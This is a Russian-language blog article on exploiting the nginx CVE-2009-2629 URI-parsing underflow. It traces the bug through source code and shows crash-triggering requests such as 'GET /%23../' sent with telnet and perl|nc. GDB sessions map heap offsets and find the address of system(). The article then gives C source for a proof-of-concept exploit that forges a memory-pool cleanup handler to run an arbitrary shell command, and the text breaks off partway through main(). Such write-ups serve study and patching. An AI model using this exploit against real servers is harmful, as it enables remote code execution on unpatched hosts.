ЭВМ/ Как написать эксплойт для nginx

29.09.2010

В конце прошлого года стало известно сразу о нескольких серьезных уязвимостях в популярном HTTP прокси-сервере nginx. Одна из них теоретически позволяла удаленно выполнить произвольный код на машине с работающим сервером. Насколько мне известно, только недавно был опубликован эксплойт, демонстрирующий возможность выполнения кода, но для его работы требуется нестандартная конфигурация. Поэтому я решил поделиться своими изысканиями на эту тему. Времени с тех пор прошло уже достаточно, поэтому вреда от подобной статьи не будет. Тем более что в ней будут продемонстрированы некоторые интересные подходы.

Итак, прежде всего взглянем на патч, устраняющий проблему.

Index: src/http/ngx_http_parse.c
===================================================================
--- src/http/ngx_http_parse.c	(revision 2410)
+++ src/http/ngx_http_parse.c	(revision 2411)
@@ -1134,11 +1134,15 @@
 #endif
             case '/':
                 state = sw_slash;
-                u -= 4;
-                if (u < r->uri.data) {
-                    return NGX_HTTP_PARSE_INVALID_REQUEST;
-                }
-                while (*(u - 1) != '/') {
+                u -= 5;
+                for ( ;; ) {
+                    if (u < r->uri.data) {
+                        return NGX_HTTP_PARSE_INVALID_REQUEST;
+                    }
+                    if (*u == '/') {
+                        u++;
+                        break;
+                    }
                     u--;
                 }
                 break;

В чем тут криминал? Есть некая переменная u, судя по всему, указатель внутри какого-то буфера. Этот указатель сдвигают на 4 байта назад и проверяют, не достигнуто ли начало буфера (r->uri.data — указатель на начало буфера). Если все в порядке, то продолжаем двигаться по буферу назад, пока не найдем символ «/» или не достигнем начала. Проблема в том, что если изначально u == r->uri.data + 4, то после уменьшения на 4 байта u == r->uri.data, и цикл while начнется с байта, предшествующего началу буфера, и побежит уже по чужой памяти, пока наконец случайно не натолкнется на символ «/» или не выйдет за границы памяти процесса, аварийно завершив его работу. Типичное off-by-one переполнение (точнее недополнение, так как выход за начало, а не конец буфера).

Теперь посмотрим непосредственно в код, чтобы лучше понять, что происходит. Для наших экспериментов скачаем одну из уязвимых версий, например 0.6.38 (ветка 0.6.x используется в Debian Lenny). Открываем файл src/http/ngx_http_parse.c и находим функцию ngx_http_parse_complex_uri. Как видно из названия, функция занимается разбором URI, то есть того, что идет после http://somehost.ru, причем URI сложных (complex), т.е. содержащих специальные символы. Разбор заключается в поиске и обработке различных управляющих последовательностей типа «../..», «%2E» и т.д.

Сама функция построена по известному принципу конечного автомата. При обнаружении того или иного управляющего символа, автомат переходит в различные состояния, выполняя при этом какие-то действия. Всю функцию целиком мы приводить не будем, посмотрим только на обработку состояния sw_dot_dot, в которое переходит парсер, встретив последовательность «..». Именно в этом куске кода находится интересующая нас ошибка.

        case sw_dot_dot:

            if (usual[ch >> 5] & (1 << (ch & 0x1f))) {
                state = sw_usual;
                *u++ = ch;
                ch = *p++;
                break;
            }

            switch(ch) {
#if (NGX_WIN32)
            case '\\':
#endif
            case '/':							(1)
                state = sw_slash;
                u -= 4;							(2)
                if (u < r->uri.data) {
                    return NGX_HTTP_PARSE_INVALID_REQUEST;
                }
                while (*(u - 1) != '/') {				(3)
                    u--;
                }
                break;
            case '%':
                quoted_state = state;
                state = sw_quoted;
                break;
            case '?':
                r->args_start = p;
                goto args;
            case '#':
                goto done;
#if (NGX_WIN32)
            case '.':
                state = sw_dot_dot_dot;
                *u++ = ch;
                break;
#endif
            case '+':
                r->plus_in_uri = 1;
            default:
                state = sw_usual;
                *u++ = ch;
                break;
            }

            ch = *p++;
            break;

Сначала некоторые общие пояснения. Указатель p указывает на текущий символ в разбираемом URI. На каждом цикле конечного автомата копия разбираемого символа заносится в переменную ch. Указатель u указывает на текущий записываемый символ в выходном буфере r->uri.data. В этот буфер помещается URI, который получился в результате разбора и обработки специальных символов.

Суть данного куска кода в том, чтобы из URI вида «/a/b/../с» получить «/a/с». То есть когда встречается последовательность из двух точек, проверяется следующий символ. Если это «/» (1), то указатель u перемещается на 4 байта назад (2), пропуская последовательность «/..», после чего продолжает двигаться назад (3), пока не дойдет до следующего символа «/». После этого разбор продолжается. При этом следующий символ «c» затирает символ «b» в выходном буфере, так как указатель u передвинулся назад.

После того, как механизм ошибки изучен, нужно найти так называемый «вектор атаки» — последовательность входных данных, приводящих к ее возникновению. Для этого еще раз внимательно посмотрим на код функции ngx_http_parse_complex_uri. В состояние sw_dot_dot можно попасть только из состояния sw_dot (1).

        case sw_dot:

            if (usual[ch >> 5] & (1 << (ch & 0x1f))) {
                state = sw_usual;
                *u++ = ch;
                ch = *p++;
                break;
            }

            switch(ch) {
#if (NGX_WIN32)
            case '\\':
#endif
            case '/':
                state = sw_slash;
                u--;
                break;
            case '.':
                state = sw_dot_dot;					(1)
                *u++ = ch;
                break;
            case '%':
                quoted_state = state;
                state = sw_quoted;
                break;
            case '?':
                r->args_start = p;
                goto args;
            case '#':
                goto done;
            case '+':
                r->plus_in_uri = 1;
            default:
                state = sw_usual;
                *u++ = ch;
                break;
            }

            ch = *p++;
            break;

А в состояние sw_dot можно попасть только из состояния sw_slash (2).

        case sw_slash:

            if (usual[ch >> 5] & (1 << (ch & 0x1f))) {
                state = sw_usual;
                *u++ = ch;
                ch = *p++;
                break;
            }

            switch(ch) {
#if (NGX_WIN32)
            case '\\':
                break;
#endif
            case '/':
                if (!merge_slashes) {					(1)
                    *u++ = ch;
                }
                break;
            case '.':
                state = sw_dot;						(2)
                *u++ = ch;
                break;
            case '%':
                quoted_state = state;					(3)
                state = sw_quoted;
                break;
            case '?':
                r->args_start = p;
                goto args;
            case '#':
                goto done;
            case '+':
                r->plus_in_uri = 1;
            default:
                state = sw_usual;
                *u++ = ch;
                break;
            }

            ch = *p++;
            break;

Таким образом, в нужную нам ветку кода можно попасть только подав на вход последовательность «/../». Но при такой последовательности после уменьшения на 4 указатель u уже выйдет на один байт за начало буфера, сработает проверка u < r->uri.data, и ничего не получится. Значит нам нужен еще один символ перед первым слешом, чтобы обойти проверку. Но URI вида «a/../» nginx сразу отвергнет еще до разбора, так как URI должен обязательно начинаться со слеша. Кажется, что атака невозможна; ошибка в коде есть, но вызвать ее нельзя. Но не будем торопиться с выводами.

Посмотрим на строчку (1). Если после символа «/» идет еще один слеш, и merge_slashes == 0, то второй слеш записывается в выходной буфер и состояние конечного автомата не меняется. То есть мы получаем искомый дополнительный символ. Осталось выяснить, при каких условиях merge_slashes == 0. Переменная merge_slashes указывает, включена ли опция merge_slashes в конфигурации nginx, а по умолчанию эта опция включена. Более того, ее редко кто выключает. А нам нужно, чтобы она как раз была выключена. Это и есть та самая нестандартная конфигурация, о которой я упоминал в самом начале.

Но все равно проверим нашу догадку. Собираем уязвимый nginx из исходников (в своих экспериментах я использовал Debian Lenny).

$ ./configure --prefix=/tmp/nginx && make && make install

Добавляем в файл конфигурации /tmp/nginx/conf/nginx.conf в модуль http параметр merge_slashes off. Затем меняем параметр listen 80 на listen 8080, чтобы иметь возможность запускать сервер без рута, и запускаем.

$ ./objs/nginx

Теперь пытаемся провести атаку.

$ telnet localhost 8080
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET //../ HTTP/1.0

Connection closed by foreign host.

Вроде бы ничего не произошло, но заглянем в лог.

$ tail -1 /tmp/nginx/logs/error.log
2010/09/24 15:33:47 [emerg] 30041#0: *1 malloc() 4294967100 bytes failed (12: Ca
nnot allocate memory), client: 127.0.0.1, server: localhost, request: "GET //../
 HTTP/1.0"

Волшебно! Нам таки удалось испортить память.

Однако вернемся к реальности. Найденный нами вектор атаки предполагает, что опция merge_slashes выключена, чего в реальной жизни почти никогда не встречается. Сначала я решил, что это единственный возможный вектор, и забросил ковырять эту дыру. Но затем на одной из конференций, встретив Игоря Сысоева (автора nginx), я спросил его, действительно ли атака возможна только при выключенной опции merge_slashes, на что он ответил, что нет. И это заставило меня возобновить поиски.

Итак, для успешной атаки необходимо, чтобы парсер, находясь в состоянии sw_slash, записал какой-нибудь символ в выходной буфер и при этом остался в состоянии sw_slash. Вернемся к коду обработчика состояния sw_slash и посмотрим на строчку (3). Это обработка последовательностей вида «%aa», которые кодируют символы шестнадцатиричными кодами. Текущее состояние (sw_slash) запоминается в переменной quoted_state, после чего происходит переход в состояние sw_quoted.

        case sw_quoted:
            r->quoted_uri = 1;

            if (ch >= '0' && ch <= '9') {				(1)
                decoded = (u_char) (ch - '0');
                state = sw_quoted_second;				(2)
                ch = *p++;
                break;
            }

            c = (u_char) (ch | 0x20);
            if (c >= 'a' && c <= 'f') {					(3)
                decoded = (u_char) (c - 'a' + 10);
                state = sw_quoted_second;				(4)
                ch = *p++;
                break;
            }

            return NGX_HTTP_PARSE_INVALID_REQUEST;

        case sw_quoted_second:
            if (ch >= '0' && ch <= '9') {				(5)
                ch = (u_char) ((decoded << 4) + ch - '0');

                if (ch == '%') {
                    state = sw_usual;
                    *u++ = ch;
                    ch = *p++;
                    break;
                }

                if (ch == '#') {					(6)
                    *u++ = ch;						(7)
                    ch = *p++;

                } else if (ch == '\0') {
                    r->zero_in_uri = 1;
                }

                state = quoted_state;					(8)
                break;
            }

            c = (u_char) (ch | 0x20);
            if (c >= 'a' && c <= 'f') {
                ch = (u_char) ((decoded << 4) + c - 'a' + 10);

                if (ch == '?') {
                    *u++ = ch;
                    ch = *p++;

                } else if (ch == '+') {
                    r->plus_in_uri = 1;
                }

                state = quoted_state;
                break;
            }

            return NGX_HTTP_PARSE_INVALID_REQUEST;

Находясь в состоянии sw_quoted парсер декодирует первую половину шестнадцатиричного числа, следующего после символа «%», цифру (1) или букву (3), после чего переходит в состояние sw_quoted_second (2, 4). В этом состоянии он декодирует вторую половину шестнадцатиричного числа. Если это цифра (5), то получившийся из шестнадцатиричного кода символ проверяется на различные управляющие коды. В частности если получился символ «#» (6), то он записывается в выходной буфер (7), и парсер переходит в то состояние, в котором он был до начал разбора шестнадцатиричного кода (8), то есть в sw_slash. А это именно то, что нам нужно! Находясь в состоянии sw_slash парсер записал в выходной буфер лишний байт и остался в состоянии sw_slash. Шестнадцатиричным кодом символа «#» является «23», поэтому искомая последовательность символов в URI должна быть такая: «/%23../». Помимо «#» аналогичным образом обрабатывается и символ «?», его также можно использовать для атаки.

Проверяем. Убираем из конфига nginx уже ненужную опцию merge_slashes off и перезапускаем сервер. Подключаемся и посылаем найденную строку.

$ telnet localhost 8080
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET /%23../ HTTP/1.0

Connection closed by foreign host.

Смотрим в лог.

$ tail -1 /tmp/nginx/logs/error.log
2010/09/27 17:20:41 [emerg] 698#0: *1 malloc() 4294967100 bytes failed (12: Cann
ot allocate memory), client: 127.0.0.1, server: localhost, request: "GET /%23../
 HTTP/1.0"

Работает! Переходим к самом главному — созданию эксплойта.

Как мы уже выяснили, если URI начинается с последовательности «/%23../», то указатель u оказывается где-то перед буфером r->uri.data, и оставшийся кусок URI записывается в эту память, затирая чужие данные. Сама эта память выделяется в «куче» (heap). В принципе можно пойти по стандартному пути — перезаписать дескрипторы malloc таким образом, чтобы при выполнении функции free запустился наш код. Подробное описание этой техники можно найти в классических трудах: «Once upon a free()» и «Vudo malloc tricks». Но не будем торопиться, а посмотрим, есть ли другие возможности.

В нашем первом варианте собственно перезаписи памяти не происходит, так как после «волшебной» последовательности «/%23../» больше нет символов, и разбор URI на этом заканчивается. Выясним, почему при этом вызывается функция malloc с неправдоподобно большим аргументом. Для этого посмотрим на конец функции ngx_http_parse_complex_uri.

done:

    r->uri.len = u - r->uri.data;					(1)

    if (r->uri_ext) {
        r->exten.len = u - r->uri_ext;
        r->exten.data = r->uri_ext;
    }

    r->uri_ext = NULL;

    return NGX_OK;

Результат выражения (1) отрицателен, так как после возникновения ошибки указатель u становится меньше чем r->uri.data. Но в силу того, что r->uri.len — беззнаковое целое, в результате получается очень большое положительное число. Это так называемое целочисленное переполнение. А позже вызывается функция ngx_http_map_uri_to_path (можете проверить, пройдя в отладчике по шагам), в которой есть такой код:

    reserved += r->uri.len - alias + 1;					(1)

    if (clcf->root_lengths == NULL) {

        *root_length = clcf->root.len;

        path->len = clcf->root.len + reserved;				(2)

        path->data = ngx_palloc(r->pool, path->len);			(3)

ngx_palloc (3) — собственная функция выделения памяти в nginx, к ней мы еще вернемся. Внутри себя она вызывает malloc (не всегда правда, но сейчас это неважно). В результате действий (1), (2) и (3) функция malloc вызывается с очень большим параметром и завершается с ошибкой. Вроде все ясно, но пока не понятно, как это можно использовать.

Перезапустим nginx и подключимся отладчиком к его worker процессу.

$ gdb -q ./objs/nginx `pgrep -f nginx.*worker`
Attaching to program: /home/grange/nginx-0.6.38/objs/nginx, process 26131
Reading symbols from /lib/libcrypt.so.1...done.
Loaded symbols for /lib/libcrypt.so.1
Reading symbols from /usr/lib/libpcre.so.3...done.
Loaded symbols for /usr/lib/libpcre.so.3
Reading symbols from /usr/lib/libz.so.1...done.
Loaded symbols for /usr/lib/libz.so.1
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /lib/libnss_compat.so.2...done.
Loaded symbols for /lib/libnss_compat.so.2
Reading symbols from /lib/libnsl.so.1...done.
Loaded symbols for /lib/libnsl.so.1
Reading symbols from /lib/libnss_nis.so.2...done.
Loaded symbols for /lib/libnss_nis.so.2
Reading symbols from /lib/libnss_files.so.2...done.
Loaded symbols for /lib/libnss_files.so.2
0xb7e47493 in epoll_wait () from /lib/libc.so.6
(gdb) c
Continuing.

Теперь попробуем действительно перезаписать чужую память.

$ perl -e 'print "GET /%23../".("A"x600)." HTTP/1.0\n\n"' | nc localhost 8080

Смотрим в отладчик.

Program received signal SIGSEGV, Segmentation fault.
0x0807a8b2 in ngx_http_range_body_filter (r=0x80a94c0, in=0xbf9fd974)
    at src/http/modules/ngx_http_range_filter_module.c:512
512	    if (ctx->offset) {
(gdb) p ctx
$1 = (ngx_http_range_filter_ctx_t *) 0x41414141
(gdb)

Ага, теперь нам удалось перезаписать некий указатель ctx (0×41 — это код символа «A»). Это уже гораздо лучше. Можно попробовать выяснить, что это за указатель, и как с его помощью можно получить управление. Именно так работает эксплойт, о котором я говорил в начале. Но я нашел другой способ.

Выйдем из отладчика, при этом nginx перезапустит процесс worker. Подключемся снова, и сначала пошлем наш первый запрос, который вызывает ошибку в malloc, а следом за ним второй, который перезаписывает память.

$ echo -e "GET /%23../ HTTP/1.0\n\n" | nc localhost 8080
$ perl -e 'print "GET /%23../".("A"x600)." HTTP/1.0\n\n"' | nc localhost 8080

Смотрим в отладчик.

Program received signal SIGSEGV, Segmentation fault.
ngx_palloc (pool=0xb7c00c00, size=480) at src/core/ngx_palloc.c:117
117	                m = ngx_align_ptr(p->last, NGX_ALIGNMENT);
(gdb) p p
$1 = (ngx_pool_t *) 0x41414141
(gdb)

Программа упала уже в другом месте. Произошло это из-за того, что после ошибки в функции malloc структуры данных для нового запроса расположились таким образом, что мы затерли другую память. Вспомним, что все зависит от того, где в памяти обнаружится символ «/». Заглянем в уже знакомую нам функцию ngx_palloc из файла src/core/ngx_palloc.c, чтобы понять, какие данные нам удалось изменить.

void *
ngx_palloc(ngx_pool_t *pool, size_t size)
{
    u_char            *m;
    ngx_pool_t        *p, *n, *current;
    ngx_pool_large_t  *large;

    if (size <= (size_t) NGX_MAX_ALLOC_FROM_POOL
        && size <= (size_t) (pool->end - (u_char *) pool)
                   - (size_t) ngx_align_ptr(sizeof(ngx_pool_t), NGX_ALIGNMENT))
    {
        p = pool->current;						(1)
        current = p;

        for ( ;; ) {

#if (NGX_HAVE_NONALIGNED)

            /*
             * allow non-aligned memory blocks for small allocations (1, 2,
             * or 3 bytes) and for odd length strings (struct's have aligned
             * size)
             */

            if (size < sizeof(int) || (size & 1)) {
                m = p->last;

            } else
#endif

            {
                m = ngx_align_ptr(p->last, NGX_ALIGNMENT);		(2)
	    }

            if ((size_t) (p->end - m) >= size) {
                p->last = m + size;

                return m;
            }

            if ((size_t) (p->end - m) < NGX_ALIGNMENT) {
                current = p->next;
            }

            if (p->next == NULL) {
                break;
            }

            p = p->next;
            pool->current = current;
        }

        /* allocate a new pool block */

        n = ngx_create_pool((size_t) (p->end - (u_char *) p), p->log);
        if (n == NULL) {
            return NULL;
        }

        pool->current = current ? current : n;

        p->next = n;
        m = ngx_align_ptr(n->last, NGX_ALIGNMENT);
        n->last = m + size;

        return m;
    }

#if 0
    p = ngx_memalign(ngx_pagesize, size, pool->log);
    if (p == NULL) {
        return NULL;
    }
#else
    p = ngx_alloc(size, pool->log);
    if (p == NULL) {
        return NULL;
    }
#endif

    large = ngx_palloc(pool, sizeof(ngx_pool_large_t));
    if (large == NULL) {
        ngx_free(p);
        return NULL;
    }

    large->alloc = p;
    large->next = pool->large;
    pool->large = large;

    return p;
}

Если вкратце, то в файле src/core/ngx_palloc.c реализован собственный аллокатор памяти. Работает он так. Есть связанный список пулов, каждый из которых выделен в «куче» с помощью malloc. Небольшие кусочки памяти отрезаются от пула. Если место в пуле кончилось, берется следующий из списка. Если пулов больше нет, создается новый. Если нужно выделить большой кусок памяти, вызывается обычный malloc. Ошибка в строке (2) возникает из-за того, что указатель p содержит заданное нами значение 0×41414141. А этот указатель получен в строке (1) из pool->current. Если мы прочитаем содержимое переменной pool, мы увидим, что она вся заполнена нашими данными.

(gdb) p *pool
$1 = {last = 0x41414141 <Address 0x41414141 out of bounds>,
  end = 0x41414141 <Address 0x41414141 out of bounds>, current = 0x41414141,
  chain = 0x41414141, next = 0x41414141, large = 0x41414141,
  cleanup = 0x41414141, log = 0x41414141}

Чтобы понять, как это можно использовать, взглянем на начало функции уничтожения пула.

void
ngx_destroy_pool(ngx_pool_t *pool)
{
    ngx_pool_t          *p, *n;
    ngx_pool_large_t    *l;
    ngx_pool_cleanup_t  *c;

    for (c = pool->cleanup; c; c = c->next) {
        if (c->handler) {
            ngx_log_debug1(NGX_LOG_DEBUG_ALLOC, pool->log, 0,
                           "run cleanup: %p", c);
            c->handler(c->data);					(1)
        }
    }

Видно, что при уничтожении пула вызываются его функции-деструкторы (1), заданные полем cleanup. И если перезаписать это поле, можно заставить выполниться свою функцию. Попробуем реализовать задуманное.

Итак, нам нужно создать фальшивые структуры, описывающие пул и его деструкторы, и перезаписать ими настоящие. Для начала изучим эти структуры. Открываем файл src/core/ngx_palloc.h.

struct ngx_pool_s {
    u_char               *last;
    u_char               *end;
    ngx_pool_t           *current;
    ngx_chain_t          *chain;
    ngx_pool_t           *next;
    ngx_pool_large_t     *large;
    ngx_pool_cleanup_t   *cleanup;
    ngx_log_t            *log;
};

struct ngx_pool_cleanup_s {
    ngx_pool_cleanup_pt   handler;
    void                 *data;
    ngx_pool_cleanup_t   *next;
};

typedef void (*ngx_pool_cleanup_pt)(void *data);

В структуре ngx_pool_s нас интересуют следующие поля. last — указатель на конец последнего выделенного куска памяти из данного пула. Фактически с этого адреса можно брать новый кусок. end — конец пула. current — адрес пула, из которого в данным момент можно выделять память. В нашем случае это поле должно указывать на тот пул, который мы перезаписываем. cleanup — указатель на список деструкторов.
Структура ngx_pool_cleanup_s описывает один деструктор. Все деструкторы пула связаны в список. Поле handler является указателем на функцию, которую нужно вызвать. Поле data — параметр, передаваемый в эту функцию.

Можно разместить внутри запроса какой-нибудь стандартный шеллкод, и указатель на него записать в поле handler. Но мы поступим по-другому. В поле handler мы запишем указатель на библиотечную функцию system, которая выполняет shell команды, а в качестве параметра передадим ей какую-нибудь команду, например «touch /tmp/lala».

Осталось выяснить, как разместить в памяти эти структуры, чтобы они точно встали на нужное место. Запускаем отладчик и ставим точку останова сразу после возврата из функции ngx_http_parse_complex_uri.

$ gdb -q ./objs/nginx `pgrep -f nginx.*worker`
Attaching to program: /home/grange/nginx-0.6.38/objs/nginx, process 26217
Reading symbols from /lib/libcrypt.so.1...done.
Loaded symbols for /lib/libcrypt.so.1
Reading symbols from /usr/lib/libpcre.so.3...done.
Loaded symbols for /usr/lib/libpcre.so.3
Reading symbols from /usr/lib/libz.so.1...done.
Loaded symbols for /usr/lib/libz.so.1
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /lib/libnss_compat.so.2...done.
Loaded symbols for /lib/libnss_compat.so.2
Reading symbols from /lib/libnsl.so.1...done.
Loaded symbols for /lib/libnsl.so.1
Reading symbols from /lib/libnss_nis.so.2...done.
Loaded symbols for /lib/libnss_nis.so.2
Reading symbols from /lib/libnss_files.so.2...done.
Loaded symbols for /lib/libnss_files.so.2
0xb7e47493 in epoll_wait () from /lib/libc.so.6
(gdb) b src/http/ngx_http_request.c:676
Breakpoint 1 at 0x806d1c3: file src/http/ngx_http_request.c, line 676.
(gdb) c
Continuing.

Делаем первый запрос.

$ echo -e "GET /%23../ HTTP/1.0\n\n" | nc localhost 8080

Продолжаем работу nginx.

Breakpoint 1, ngx_http_process_request_line (rev=0x80d0af0)
    at src/http/ngx_http_request.c:677
677	                if (rc == NGX_HTTP_PARSE_INVALID_REQUEST) {
(gdb) c
Continuing.

Делаем второй запрос.

$ perl -e 'print "GET /%23../".("A"x600)." HTTP/1.0\n\n"' | nc localhost 8080

Теперь посмотрим на содержимое структуры ngx_http_request_t, которая содержит все интересующие нас данные.

Breakpoint 1, ngx_http_process_request_line (rev=0x80d0af0)
    at src/http/ngx_http_request.c:677
677	                if (rc == NGX_HTTP_PARSE_INVALID_REQUEST) {
(gdb) p *r
$1 = {signature = 1347703880, connection = 0x80bbb28, ctx = 0xb7c00e00,
  main_conf = 0x80aa45c, srv_conf = 0x80b4fd4, loc_conf = 0x80b5054,
  read_event_handler = 0, write_event_handler = 0, cache = 0x0,
  upstream = 0x0, upstream_states = 0x0, pool = 0xb7c00c00,
  header_in = 0xb7c004ec, headers_in = {headers = {last = 0x0, part = {
        elts = 0x0, nelts = 0, next = 0x0}, size = 0, nalloc = 0, pool = 0x0},
    host = 0x0, connection = 0x0, if_modified_since = 0x0, user_agent = 0x0,
    referer = 0x0, content_length = 0x0, content_type = 0x0, range = 0x0,
    if_range = 0x0, transfer_encoding = 0x0, expect = 0x0,
    accept_encoding = 0x0, via = 0x0, authorization = 0x0, keep_alive = 0x0,
    x_forwarded_for = 0x0, user = {len = 0, data = 0x0}, passwd = {len = 0,
      data = 0x0}, cookies = {elts = 0x0, nelts = 0, size = 0, nalloc = 0,
      pool = 0x0}, server = {len = 0, data = 0x0}, content_length_n = -1,
    keep_alive_n = -1, connection_type = 0, msie = 0, msie4 = 0, opera = 0,
    gecko = 0, konqueror = 0}, headers_out = {headers = {last = 0xb7c00640,
      part = {elts = 0xb7c00c20, nelts = 0, next = 0x0}, size = 24,
      nalloc = 20, pool = 0xb7c00c00}, status = 0, status_line = {len = 0,
      data = 0x0}, server = 0x0, date = 0x0, content_length = 0x0,
    content_encoding = 0x0, location = 0x0, refresh = 0x0,
    last_modified = 0x0, content_range = 0x0, accept_ranges = 0x0,
    www_authenticate = 0x0, expires = 0x0, etag = 0x0, override_charset = 0x0,
    content_type_len = 0, content_type = {len = 0, data = 0x0}, charset = {
      len = 0, data = 0x0}, cache_control = {elts = 0x0, nelts = 0, size = 0,
      nalloc = 0, pool = 0x0}, content_length_n = -1, date_time = 0,
    last_modified_time = -1}, request_body = 0x0, lingering_time = 0,
  start_sec = 1285770765, start_msec = 203, method = 2, http_version = 1000,
  request_line = {len = 620,
    data = 0xb7c007f8 "GET /%23../", 'A' ...}, uri = {
    len = 4294966793, data = 0xb7c00eb0 "/#.."}, args = {len = 0, data = 0x0},
  exten = {len = 0, data = 0x0}, unparsed_uri = {len = 0, data = 0x0},
  method_name = {len = 0, data = 0x0}, http_protocol = {len = 0,
    data = 0xb7c00a5c "HTTP/", 'A' ...}, out = 0x0,
  main = 0xb7c00570, parent = 0x0, postponed = 0x0, post_subrequest = 0x0,
  in_addr = 0, port = 8080, port_text = 0x80b7a0c, virtual_names = 0x0,
  phase_handler = 0, content_handler = 0, access_code = 0,
  variables = 0xb7c00e80, limit_rate = 0, header_size = 0, request_length = 0,
  err_status = 0, http_connection = 0xb7c004cc,
---Type  to continue, or q  to quit---
  log_handler = 0x806abe4 , cleanup = 0x0,
  http_state = 1, complex_uri = 0, quoted_uri = 1, plus_in_uri = 0,
  zero_in_uri = 0, invalid_header = 0, valid_location = 0,
  valid_unparsed_uri = 0, uri_changed = 0, uri_changes = 11,
  request_body_in_single_buf = 0, request_body_in_file_only = 0,
  request_body_in_persistent_file = 0, request_body_in_clean_file = 0,
  request_body_file_group_access = 0, request_body_file_log_level = 0,
  fast_subrequest = 0, subrequest_in_memory = 0, gzip = 0, proxy = 0,
  bypass_cache = 0, no_cache = 0, limit_zone_set = 0, pipeline = 0,
  plain_http = 0, chunked = 0, header_only = 0, zero_body = 0, keepalive = 0,
  lingering_close = 0, discard_body = 0, internal = 0, error_page = 0,
  post_action = 0, request_complete = 0, request_output = 0, header_sent = 0,
  expect_tested = 0, done = 0, utf8 = 0, buffered = 0,
  main_filter_need_in_memory = 0, filter_need_in_memory = 0,
  filter_need_temporary = 0, allow_ranges = 0, subrequests = 51, state = 0,
  uri_start = 0xb7c007fc "/%23../", 'A' ...,
  uri_end = 0xb7c00a5b " HTTP/", 'A' ..., uri_ext = 0x0,
  args_start = 0x0,
  request_start = 0xb7c007f8 "GET /%23../", 'A' ...,
  request_end = 0xb7c00a64 'A' ...,
  method_end = 0xb7c007fa "T /%23../", 'A' ...,
  schema_start = 0x0, schema_end = 0x0, host_start = 0x0, host_end = 0x0,
  port_start = 0x0, port_end = 0x0, header_name_start = 0x0,
  header_name_end = 0x0, header_start = 0x0, header_end = 0x0, http_minor = 0,
  http_major = 1, header_hash = 0, lowcase_index = 0,
  lowcase_header = '\0' }
(gdb)

Ух, много всего, но нас интересует только пара вещей. Прежде всего заметим, что все указатели имеют вид 0xb7c00XXX. Адрес 0xb7c00000 является базовым, относительно него выделяются все структуры. Адрес этот разный для разных систем, сборок nginx и т.д., но в нашем случае он такой и остается постоянным. Запомним его, он нам понадобится. Теперь посмотрим на указатель http_protocol.data, он указывает на строчку «HTTP/». Именно на слеше в конце этой строки остановится указатель u при обработке нашей «волшебной» последовательности. Этот факт я выяснил заранее, вставив немного отладочного кода в nginx. Смещение этой строки относительно базы равно 0xa5c, поэтому перезапись данных начнется с адреса 0xb7c00000 + 0xa5c + 5 (5 — длина строки «HTTP/»). Второй интересующий нас указатель — это pool, его смещение 0xc00, и именно его нам нужно переписать. И наконец уже знакомый uri.data — 0xeb0, с него начинает свое движение назад указатель u. Таким образом получается следующая карта памяти.

http_protocol.data	0xa5c
pool			0xc00
uri.data		0xeb0

Осталось последнее — узнать адрес функции system.

(gdb) p system
$2 = {<text variable, no debug info>} 0xb7db3eb0 

Справедливости ради нужно заметить, что во многих современных ОС (например в последней Ubuntu) включена рандомизация адресов библиотечных функций, что сильно усложняет задачу создания эксплойта. Но в Debian Lenny по умолчанию этого нет, и адрес функции остается постоянным. Собрав воедино все полученные теоретические данные создаем эксплойт.

/*
 * nginx VU#180065 CVE-2009-2629 PoC exploit for Linux/i386.
 * grange@disorder.ru
 * http://disorder.ru/archives/908
 * 29/09/2010
 */

#include <ctype.h>
#include <err.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define TOTLEN		600

#define OFFSET_HTTP	0xa5c
#define OFFSET_POOL	0xc00

/*
 * Нужные нам структуры данных nginx.
 */
struct ngx_pool {
	uintptr_t last;
	uintptr_t end;
	uintptr_t current;
	uintptr_t chain;
	uintptr_t next;
	uintptr_t large;
	uintptr_t cleanup;
	uintptr_t log;
};

struct ngx_pool_cleanup {
	uintptr_t handler;
	uintptr_t data;
	uintptr_t next;
};

/*
 * Функция для URL кодирования.
 */
static char *
copyencode(char *dst, unsigned char *src, int len)
{
	int ch, part;

	while (len--) {
		ch = *src++;

		if (isprint(ch) && ch != ' ') {
			*dst++ = ch;
		} else {
			*dst++ = '%';

			part = ch >> 4;
			if (part < 10)
				*dst++ = part + '0';
			else
				*dst++ = part - 10 + 'a';

			part = ch & 0x0f;
			if (part < 10)
				*dst++ = part + '0';
			else
				*dst++ = part - 10 + 'a';
		}
	}

	return dst;
}

int
main(int argc, char **argv)
{
	struct ngx_pool pool;
	struct ngx_pool_cleanup cleanup;
	uintptr_t baseaddr, funcaddr, pooladdr, cleanupaddr, dataddr;
	char *cmd, *s, *p;
	int cmdlen, headlen, bodylen, tailen, i;

	if (argc != 4) {
		fprintf(stderr, "usage: %s baseaddr funcaddr cmd\n", argv[0]);
		return 1;
	}

	/*
	 * baseaddr - базовый адрес в памяти nginx, относительно которого
	 * вычисляются все смещения.
	 *
	 * funcaddr - адрес функции libc, которой нужно передать управление
	 * (например system).
	 *
	 * cmd - команда для функции system(), которую нужно выполнить.
	 */
	baseaddr = strtoul(argv[1], NULL, 0);
	funcaddr = strtoul(argv[2], NULL, 0);
	cmd = argv[3];
	cmdlen = strlen(cmd) + 1;

	/*
	 * В памяти nginx объекты будут размещены следующим образом:
	 * <структура pool> <структура cleanup> <строка cmd>
	 */
	pooladdr = baseaddr + OFFSET_POOL;
	cleanupaddr = pooladdr + sizeof(pool);
	dataddr = cleanupaddr + sizeof(cleanup);

	/*
	 * Подготавливаем фальшивые структуры pool и cleanup.
	 */
	bzero(&pool, sizeof(pool));
	pool.current = pooladdr;
	/*
	 * last указывает на память сразу за строкой cmd. Делаем end == last,
	 * чтобы никто больше не брал память из нашего фальшивого пула.
	 */
	pool.last = dataddr + cmdlen;
	pool.end = pool.last;
	pool.cleanup = cleanupaddr;

	bzero(&cleanup, sizeof(cleanup));
	cleanup.handler = funcaddr;
	cleanup.data = dataddr;

	/* Создаем буфер для хранения тела запроса */
